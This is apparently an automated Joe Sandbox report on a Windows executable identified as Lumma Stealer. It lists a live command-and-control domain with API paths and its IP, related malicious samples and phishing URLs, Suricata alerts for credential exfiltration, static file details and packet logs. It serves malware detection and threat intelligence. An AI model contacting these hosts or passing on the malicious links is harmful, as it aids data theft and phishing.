http://crl.rootca1.amazontrust.com/rootca1.crl0	un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/jh	un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	un30brGAKP.exe, 00000000.00000003.1695501850.0000000004528000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683976161.000000000452F000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1684042935.0000000004528000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/apipc	un30brGAKP.exe, 00000000.00000002.4123069189.000000000160E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://impossiblekdo.click/bm	un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/apiV	un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744172653.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744199353.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	un30brGAKP.exe, 00000000.00000003.1683976161.000000000452F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	un30brGAKP.exe, 00000000.00000003.1684042935.0000000004503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://impossiblekdo.click/op	un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744172653.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744199353.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/	un30brGAKP.exe, 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, un30brGAKP.exe, 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://impossiblekdo.click/ow	un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	impossiblekdo.click	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584669
Start date and time:	2025-01-06 07:43:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	un30brGAKP.exe renamed because original name is a hash value
Original Sample Name:	36db2173d6f06d276b72ea725d9a81ac.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 73% Number of executed functions: 39 Number of non-executed functions: 122
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:43:59	API Interceptor	11375013x Sleep call for process: un30brGAKP.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
impossiblekdo.click	Installer_x64.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
impossiblekdo.click	Insomia.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	P3A946MOFP.exe	Get hash	malicious	XWorm	Browse	162.159.135.234
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.yzEgCXNOtR0g3VDqrfESrp2R1cF5ldZEX7V8PkOFzM7ruCjjHr3jp5RGL8GduYU-2BjhHflFlXWDZcLxMTl-2BOf3Q-3D-3Dypty_wgMyjr7kuwn9YAatYj1Mf4g8ovXgJAxpM0PlHYE9e6HZUYNSU5hkcVbHbQ0q5E6I3Vn1iKBKWI4PPg-2BCiKeQ2OE0mP0AQHbDintLIvkOVimerxUzun3ony9NL1yVRuA4WQuNzjMCPVhNshNaKMXqQsMtvsckMLkqRAU-2FNXREyY4h03-2BUaA2tGQGT4QuateFiuKuJahSkLVnvCQKkIZcpO3aNqWzyxlmipL9FIlHPuq9M09y6kh5iIlWeVT6v9HaNCeK7mNRfTM-2FaE-2FYlUjqPiHlgW1bQDf4vc-2B8bTW2XnnwQ3OD-2BHpj1pVnq8E-2B5KWyk-2BdpGzJAivJFYRAm0bkM-2FBffGjfgcs9NuM6kyERGkXLWY0YDwCJHP0W3vRM98XO8M2QRiYbYEh4a80qwygvsII8yUtWb452P35A7kazo2Bsi9HmjZL32fVK2Kj1rsDSpFE2-2FPz5MkH0YdERZv2D9LaOR2CGCCtOzFgtqISzhm5DNl8sQN1HGl9yl3sxCQ2TXG-2B2-2FQIL0ayfUBJHiJurB3Y0z5HdmkhdTnyWYqM9SpbJkxNnfJXP5NAUZTA0q1B3cuqIcfJ8Gdtm1IuXC9fLcGQFLP2A1GLVH6tFOcbPu-2F-2FO5Evswi23nrB2CFvf3EAjbRLMMYTn-2FzVKiL-2FLRKqLChrdjv6iJ364jG39-2BR-2BRXc7k2MN4PqhyBkuDYVO6KJhJtr7VWQ1JkGgezZvQKBz4Vi6Gq0ytsGLOZnihpIPww05MHzIdOzD94b48OUKOeaeHavlRK5pXSjQ7zOPyDnUSjdCJ-2FLEEq4EOGwcWXvvFjweg-2BQEsFRU1KoSIvsY-2FcQgpMyEYXStCMiKHT4WQ7TMDjBOR3rhCh2QliVs-2FI1-2BSi-2FjGbWAd30KPG-2F7b4L3CtlRajP3-2BEOcqU3Jvnbxu8AdSEg-2F0bY3U9Rsq-2FRYamf2McJIE0i0zbXhYCXRm3cXwuZg-2Fn9ed9-2FBCSIqPn-2B7Kqqgzm-2FKg-3D-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.yzEgCXNOtR0g3VDqrfESrp2R1cF5ldZEX7V8PkOFzM7ruCjjHr3jp5RGL8GduYU-2BjhHflFlXWDZcLxMTl-2BOf3Q-3D-3Dypty_wgMyjr7kuwn9YAatYj1Mf4g8ovXgJAxpM0PlHYE9e6HZUYNSU5hkcVbHbQ0q5E6I3Vn1iKBKWI4PPg-2BCiKeQ2OE0mP0AQHbDintLIvkOVimerxUzun3ony9NL1yVRuA4WQuNzjMCPVhNshNaKMXqQsMtvsckMLkqRAU-2FNXREyY4h03-2BUaA2tGQGT4QuateFiuKuJahSkLVnvCQKkIZcpO3aNqWzyxlmipL9FIlHPuq9M09y6kh5iIlWeVT6v9HaNCeK7mNRfTM-2FaE-2FYlUjqPiHlgW1bQDf4vc-2B8bTW2XnnwQ3OD-2BHpj1pVnq8E-2B5KWyk-2BdpGzJAivJFYRAm0bkM-2FBffGjfgcs9NuM6kyERGkXLWY0YDwCJHP0W3vRM98XO8M2QRiYbYEh4a80qwygvsII8yUtWb452P35A7kazo2Bsi9HmjZL32fVK2Kj1rsDSpFE2-2FPz5MkH0YdERZv2D9LaOR2CGCCtOzFgtqISzhm5DNl8sQN1HGl9yl3sxCQ2TXG-2B2-2FQIL0ayfUBJHiJurB3Y0z5HdmkhdTnyWYqM9SpbJkxNnfJXP5NAUZTA0q1B3cuqIcfJ8Gdtm1IuXC9fLcGQFLP2A1GLVH6tFOcbPu-2F-2FO5Evswi23nrB2CFvf3EAjbRLMMYTn-2FzVKiL-2FLRKqLChrdjv6iJ364jG39-2BR-2BRXc7k2MN4PqhyBkuDYVO6KJhJtr7VWQ1JkGgezZvQKBz4Vi6Gq0ytsGLOZnihpIPww05MHzIdOzD94b48OUKOeaeHavlRK5pXSjQ7zOPyDnUSjdCJ-2FLEEq4EOGwcWXvvFjweg-2BQEsFRU1KoSIvsY-2FcQgpMyEYXStCMiKHT4WQ7TMDjBOR3rhCh2QliVs-2FI1-2BSi-2FjGbWAd30KPG-2F7b4L3CtlRajP3-2BEOcqU3Jvnbxu8AdSEg-2F0bY3U9Rsq-2FRYamf2McJIE0i0zbXhYCXRm3cXwuZg-2Fn9ed9-2FBCSIqPn-2B7Kqqgzm-2FKg-3D-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://pdf-ezy.com/pdf-ezy.exe	Get hash	malicious	Unknown	Browse	172.67.152.3
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	104.26.13.205
	2.elf	Get hash	malicious	Unknown	Browse	1.2.10.122

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Patcher_I5cxa9AN.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	DansMinistrie.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CrosshairX.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Installer_x64.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.97.3
	Insomia.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.97.3
	loader.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.97.3

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.991550859737239
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	un30brGAKP.exe
File size:	1'283'584 bytes
MD5:	36db2173d6f06d276b72ea725d9a81ac
SHA1:	ac1d252fe08dee826c9bc789cabae47635b3e9b0
SHA256:	c436b9f7bc178e51eb1380a5affa9c1ce0acf980a9cf7a193a36edef132e5c00
SHA512:	0527251c68fb495a8c4e1176346642cc918b4bb8e401d01ed7dc47229e0f7c57b6a5d0cf8da430c8f0da39fa883861438891cdb7d16ccee9179483e9f603bede
SSDEEP:	24576:ZXNGqNrNuq30sbRany6ZZfZ6Zcl1xWxfwafwudgv:ZPuqJRan/ZRT1Uxfwa4v
TLSH:	A755334307474266FCABE9BA27336B30EE630ECB8A5129C159DE419F047A15AF187DE4
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...f.pg..........................................@...........................;...........@................................. P-....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41ca96
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67701566 [Sat Dec 28 15:12:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	71cc5af9daad65e58c6f29c42cdf9201

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00401000h
call 00007FEEB4BA9FF6h
call far 5DE5h : 8B10C483h
jmp 00007FEEB4F469F7h
push edx
mov ch, ah
jmp 00007FEE9AD67106h
xchg eax, esp
popfd
mov ecx, CFC4B114h
mov al, 42h
mov byte ptr [998E7C48h], al
push esi
or eax, 7412F012h
lds ecx, fword ptr [edx+47h]
mov ah, E0h
je 00007FEEB4BA9F80h
push 00000040h
and byte ptr [eax-0612CC45h], dl
dec dh
insb
mov bh, 94h
dec ebp
fbld [eax+7Ch]
cld
lds edx, fword ptr [ebp-2EA2E5CDh]
inc ebp
mov al, dh
aad 36h
add dh, byte ptr [edi-59B1A18Bh]
pushfd
mov ebx, F3FA1411h
push esp
mov edx, C8C6B955h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d5020	0x214	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d5000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40000	0x21c00	8c97ce45160fcc76700f6610999c526c	False	0.9986906828703703	data	7.997961619008951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x41000	0x3000	0xe00	cb1310a563246109d72cfa67fe8374ef	False	0.9773995535714286	data	7.843220250000753	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x44000	0xe000	0x3200	a44846c0a00bc5a0d0dc324c1c030ac3	False	0.9784375	data	7.935638020902636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x52000	0x4000	0x2200	cf5828acbf9c7f91fb74ea8b7052ea20	False	0.9983915441176471	data	7.975431034755942	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x56000	0x27f000	0x2ba00	50101963b6107eb0795d88fbd7c357d3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2d5000	0xe6000	0xe5a00	b6127f958fbde415882ecf0c94677dfb	False	0.9972664755715841	data	7.985309646585309	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
ole32.dll	CoCreateInstance

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T07:43:59.799217+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.97.3	443	TCP
2025-01-06T07:44:00.266309+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	188.114.97.3	443	TCP
2025-01-06T07:44:00.266309+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2025-01-06T07:44:00.751157+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.97.3	443	TCP
2025-01-06T07:44:01.249780+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	188.114.97.3	443	TCP
2025-01-06T07:44:01.249780+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	188.114.97.3	443	TCP
2025-01-06T07:44:02.122964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.97.3	443	TCP
2025-01-06T07:44:02.783191+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	188.114.97.3	443	TCP
2025-01-06T07:44:03.372318+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.97.3	443	TCP
2025-01-06T07:44:05.137175+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.97.3	443	TCP
2025-01-06T07:44:06.687867+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.97.3	443	TCP
2025-01-06T07:44:08.248651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.97.3	443	TCP
2025-01-06T07:44:08.252673+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49737	188.114.97.3	443	TCP
2025-01-06T07:44:10.852062+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	188.114.97.3	443	TCP
2025-01-06T07:44:11.323779+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 07:43:59.307863951 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.307904005 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:43:59.308124065 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.311507940 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.311517954 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:43:59.798973083 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:43:59.799216986 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.802638054 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.802649021 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:43:59.802948952 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:43:59.845140934 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.850220919 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.850250959 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:43:59.850347042 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.266314030 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.266402006 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.266454935 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.268564939 CET	49731	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.268588066 CET	443	49731	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.276343107 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.276386976 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.276495934 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.276740074 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.276752949 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.751029015 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.751157045 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.784151077 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.784176111 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.784459114 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:00.786334991 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.786402941 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:00.786448002 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.249785900 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.249849081 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.249890089 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.249911070 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.249924898 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.249960899 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.249968052 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250020027 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250067949 CET	49732	443	192.168.2.4	188.114.97.3
